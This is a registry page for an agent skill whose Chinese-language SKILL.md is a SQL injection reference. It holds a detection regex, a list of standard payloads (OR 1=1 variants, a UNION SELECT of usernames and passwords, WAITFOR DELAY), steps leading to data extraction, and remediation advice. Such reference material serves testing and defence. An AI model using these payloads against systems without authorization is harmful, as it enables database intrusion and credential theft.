anonymous99-rise/multi-cybersecurity/sql-injection

Claude Code and agent skill by anonymous99-rise/multi-cybersecurity

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Install

npx vskill@latest install anonymous99-rise/multi-cybersecurity/sql-injection

SKILL.md

SQL Injection Pattern

基本信息

属性值
类型Injection
CWECWE-89
严重性Critical
CVSS9.8-10.0

检测模式

regex
(\b(union|select|insert|update|delete|drop|exec|execute)\b.*){2,}

常用 Payload

sql
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
" OR "1"="1
" OR "1"="1" --
" OR "1"="1" /*
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--
' WAITFOR DELAY '00:00:05'--

检测步骤

  1. 识别注入点: 寻找用户输入未经过滤的参数
  2. 布尔盲注测试: 添加 ' AND '1'='1 和 ' AND '1'='2
  3. 时间盲注测试: 添加 '; WAITFOR DELAY '00:00:05'--
  4. 联合查询: UNION SELECT 探测列数
  5. 数据提取: 逐步提取数据库内容

修复建议

  • 使用参数化查询 (Prepared Statements)
  • 输入验证和过滤
  • 使用 ORM 框架
  • 最小权限原则

参考

  • https://owasp.org/www-community/attacks/SQL_Injection
  • https://portswigger.net/web-security/sql-injection

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/anonymous99-rise/multi-cybersecurity/sql-injection/badge)](https://verified-skill.com/skills/anonymous99-rise/multi-cybersecurity/sql-injection)

Something wrong with this skill or its page? Tell us.